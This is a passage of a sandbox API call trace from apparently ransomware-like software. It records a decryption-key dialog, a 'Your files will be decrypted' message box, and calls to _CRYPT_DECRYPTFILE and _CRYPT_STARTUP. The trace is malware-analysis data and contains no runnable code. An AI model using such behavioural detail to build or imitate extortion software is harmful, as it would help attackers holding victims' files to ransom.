lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.766] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.766] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.766] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.766] Sleep (dwMilliseconds=0xa) [0038.831] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.831] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.831] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.831] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.831] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.831] TranslateMessage (lpMsg=0xb6216fc40) returned 0 [0038.831] DispatchMessageW (lpMsg=0xb6216fc40) returned 0x0 [0038.831] GetForegroundWindow () returned 0x601e4 [0038.831] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.831] GetCursorPos (in: lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0*(x=559, y=545)) returned 1 [0038.831] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0) returned 1 [0038.831] GetAsyncKeyState (vKey=1) returned 0 [0038.831] GetAsyncKeyState (vKey=2) returned 0 [0038.831] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.832] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.832] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.832] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.832] Sleep (dwMilliseconds=0xa) [0038.857] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.857] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.857] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x210, wParam=0x201, lParam=0x1ab00ee) returned 0x0 [0038.857] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.857] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x21, wParam=0x601e4, lParam=0x2010001) returned 0x1 [0038.857] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.857] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.857] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x20, wParam=0xa0182, lParam=0x2010001) returned 0x0 [0038.857] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.857] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.857] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.857] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x400, wParam=0x0, lParam=0x0) returned 0x0 [0038.858] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.858] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.858] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.858] IsWindow (hWnd=0xa0182) returned 1 [0038.858] IsWindowEnabled (hWnd=0xa0182) returned 1 [0038.858] GetCursorPos (in: lpPoint=0xb6216f530 | out: lpPoint=0xb6216f530*(x=559, y=545)) returned 1 [0038.858] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216f530 | out: lpPoint=0xb6216f530) returned 1 [0038.858] GetAsyncKeyState (vKey=1) returned 1 [0038.858] GetAsyncKeyState (vKey=2) returned 0 [0038.858] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x20, wParam=0xa0182, lParam=0x2000001) returned 0x0 [0038.858] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.858] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.858] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.858] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.858] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0xffffffffbc010637, lParam=0x0) returned 0x1 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.858] SetBkColor (hdc=0xffffffffbc010637, color=0xf0f0f0) returned 0xffffff [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0xffffffffbc010637, lParam=0x4) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.858] SetBkColor (hdc=0xffffffffbc010637, color=0xf0f0f0) returned 0xf0f0f0 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.858] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.858] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.858] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0038.859] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.859] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.859] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.859] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.859] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.859] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.859] SetWindowTextW (hWnd=0xb001e, lpString="") returned 1 [0038.860] SendMessageW (hWnd=0xb001e, Msg=0xb1, wParam=0xf4240, lParam=0xf423f) returned 0x1 [0038.860] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0038.860] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0038.860] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0038.860] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.860] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.860] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.860] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.860] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.860] SetTextColor (hdc=0x11010729, color=0xff00) returned 0x0 [0038.860] SetBkColor (hdc=0x11010729, color=0x0) returned 0xffffff [0038.860] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.860] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.860] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.860] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.860] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.860] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0038.860] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0038.861] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.861] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.861] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.861] GetWindowLongPtrW (hWnd=0xb001e, nIndex=-21) returned 0x4 [0038.861] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.861] SetTextColor (hdc=0x11010729, color=0xff00) returned 0xff00 [0038.861] SetBkColor (hdc=0x11010729, color=0x0) returned 0x0 [0038.861] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0038.861] MessageBoxW (hWnd=0x0, lpText="Your files will be decrypted if the decryption key was correct", lpCaption="Decrypt files", uType=0x10040) returned 1 [0038.873] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.873] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x86, wParam=0x0, lParam=0xb017e) returned 0x1 [0038.873] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.873] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.873] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x6, wParam=0x0, lParam=0xb017e) returned 0x0 [0038.875] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.875] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.875] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x20, wParam=0xa0182, lParam=0x2000001) returned 0x0 [0038.875] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.875] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0xffffffffbd010637, lParam=0x0) returned 0x1 [0038.875] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.875] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.875] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.875] SetBkColor (hdc=0xffffffffbd010637, color=0xf0f0f0) returned 0xffffff [0038.875] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.875] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0xffffffffbd010637, lParam=0x4) returned 0x0 [0038.875] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.875] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.875] GetSysColor (nIndex=15) returned 0xf0f0f0 [0038.875] SetBkColor (hdc=0xffffffffbd010637, color=0xf0f0f0) returned 0xf0f0f0 [0038.875] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.875] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.875] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.876] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216ef10) returned 0x0 [0038.876] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.876] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.876] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0038.876] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216ef10) returned 0x0 [0038.876] GetForegroundWindow () returned 0xb017e [0038.876] GetWindowLongPtrW (hWnd=0xb017e, nIndex=-21) returned 0xb6216fab0 [0038.879] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.879] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0038.879] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x20, wParam=0xa0182, lParam=0x2000001) returned 0x0 [0038.914] Shell_NotifyIconW (dwMessage=0x1, lpData=0xb6216ed10) returned 1 [0038.914] KillTimer (hWnd=0x6002c, uIDEvent=0x1) returned 1 [0038.914] SetTimer (hWnd=0x6002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0038.914] GetForegroundWindow () returned 0xb017e [0038.914] GetWindowLongPtrW (hWnd=0xb017e, nIndex=-21) returned 0xb6216fab0 [0038.961] GetForegroundWindow () returned 0xb017e [0038.961] GetWindowLongPtrW (hWnd=0xb017e, nIndex=-21) returned 0xb6216fab0 [0039.013] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.013] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.013] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f410) returned 0x0 [0039.015] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.015] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0x1a0106e1, lParam=0x0) returned 0x1 [0039.015] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.015] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.015] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.015] SetBkColor (hdc=0x1a0106e1, color=0xf0f0f0) returned 0xffffff [0039.015] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.015] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0x1a0106e1, lParam=0x4) returned 0x0 [0039.015] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.015] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.015] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.015] SetBkColor (hdc=0x1a0106e1, color=0xf0f0f0) returned 0xf0f0f0 [0039.015] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.015] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.015] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0039.016] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216ef10) returned 0x0 [0039.016] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.016] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.016] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0039.016] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216ef10) returned 0x0 [0039.016] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.016] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0x430107c1, lParam=0x0) returned 0x1 [0039.016] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.016] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.016] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.016] SetBkColor (hdc=0x430107c1, color=0xf0f0f0) returned 0xffffff [0039.017] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.017] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0x430107c1, lParam=0x4) returned 0x0 [0039.017] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.017] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.017] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.017] SetBkColor (hdc=0x430107c1, color=0xf0f0f0) returned 0xf0f0f0 [0039.017] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.017] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.017] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0039.017] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216ef10) returned 0x0 [0039.017] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.017] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.017] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0039.017] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216ef10) returned 0x0 [0039.018] GetForegroundWindow () returned 0xb017e [0039.018] GetWindowLongPtrW (hWnd=0xb017e, nIndex=-21) returned 0xb6216fab0 [0039.060] GetForegroundWindow () returned 0xb017e [0039.060] GetWindowLongPtrW (hWnd=0xb017e, nIndex=-21) returned 0xb6216fab0 [0039.105] GetForegroundWindow () returned 0xb017e [0039.105] GetWindowLongPtrW (hWnd=0xb017e, nIndex=-21) returned 0xb6216fab0 [0039.153] GetForegroundWindow () returned 0xb017e [0039.153] GetWindowLongPtrW (hWnd=0xb017e, nIndex=-21) returned 0xb6216fab0 [0039.206] GetForegroundWindow () returned 0x60208 [0039.206] GetWindowLongPtrW (hWnd=0x60208, nIndex=-21) returned 0x0 [0039.243] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.243] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x46, wParam=0x0, lParam=0xb6216f670) returned 0x0 [0039.244] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.244] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x47, wParam=0x0, lParam=0xb6216f670) returned 0x0 [0039.244] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.244] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0039.244] NtdllDefWindowProc_W (hWnd=0x6002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0039.244] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.244] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0039.245] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.245] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.245] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0039.248] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0039.248] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.248] GetWindowLongW (hWnd=0x601e4, nIndex=-20) returned 256 [0039.248] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x84, wParam=0x0, lParam=0x1fc0360) returned 0x1 [0039.248] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.248] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.248] GetClientRect (in: hWnd=0x601e4, lpRect=0xb6216f8f0 | out: lpRect=0xb6216f8f0) returned 1 [0039.248] GetCursorPos (in: lpPoint=0xb6216f910 | out: lpPoint=0xb6216f910*(x=864, y=508)) returned 1 [0039.248] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216f910 | out: lpPoint=0xb6216f910) returned 1 [0039.248] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0039.248] SetCursor (hCursor=0x10003) returned 0x10003 [0039.249] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0039.249] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x200, wParam=0x0, lParam=0x186021f) returned 0x0 [0039.249] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0039.249] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0039.249] IsDialogMessageW (hDlg=0x601e4, lpMsg=0xb6216fc40) returned 1 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x14, wParam=0x430107c1, lParam=0x0) returned 0x1 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.249] SetBkColor (hdc=0x430107c1, color=0xf0f0f0) returned 0xf0f0f0 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x318, wParam=0x430107c1, lParam=0x4) returned 0x0 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] GetSysColor (nIndex=15) returned 0xf0f0f0 [0039.249] SetBkColor (hdc=0x430107c1, color=0xf0f0f0) returned 0xf0f0f0 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0039.249] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.249] GetWindowLongPtrW (hWnd=0xa0182, nIndex=-21) returned 0x3 [0039.249] NtdllDialogWndProc_W (hDlg=0x601e4, Msg=0x4e, wParam=0x3, lParam=0xb6216f3e0) returned 0x0 [0039.250] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 1 [0039.250] TranslateAcceleratorW (hWnd=0x601e4, hAccTable=0x1701c9, lpMsg=0xb6216fc40) returned 0 [0039.250] TranslateMessage (lpMsg=0xb6216fc40) returned 0 [0039.250] DispatchMessageW (lpMsg=0xb6216fc40) returned 0x0 [0039.250] GetForegroundWindow () returned 0x601e4 [0039.250] GetWindowLongPtrW (hWnd=0x601e4, nIndex=-21) returned 0x0 [0039.250] GetCursorPos (in: lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0*(x=864, y=508)) returned 1 [0039.250] ScreenToClient (in: hWnd=0x601e4, lpPoint=0xb6216faa0 | out: lpPoint=0xb6216faa0) returned 1 [0039.250] GetAsyncKeyState (vKey=1) returned 1 [0039.250] GetAsyncKeyState (vKey=2) returned 0 [0039.250] PeekMessageW (in: lpMsg=0xb6216fc40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216fc40) returned 0 [0039.250] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0039.251] SendMessageW (hWnd=0x4011c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0039.251] GetWindowTextW (in: hWnd=0x4011c, lpString=0xb6246f080, nMaxCount=14 | out: lpString="Decryptionkey") returned 13 [0039.251] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.252] FindFirstFileW (in: lpFileName="C:\\PROGRA~1\\COMMON~1\\31236356313123635631", lpFindFileData=0xb6216f350 | out: lpFindFileData=0xb6216f350) returned 0xb62456ff0 [0039.252] FindClose (in: hFindFile=0xb62456ff0 | out: hFindFile=0xb62456ff0) returned 1 [0039.253] PeekMessageW (in: lpMsg=0xb6216f920, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f920) returned 0 [0039.253] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0039.253] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0039.253] PeekMessageW (in: lpMsg=0xb6216eff0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216eff0) returned 0 [0039.253] GetLastError () returned 0x0 [0039.253] SetLastError (dwErrCode=0x0) [0039.253] PeekMessageW (in: lpMsg=0xb6216f600, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f600) returned 0 [0039.254] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x7ffe2a590000 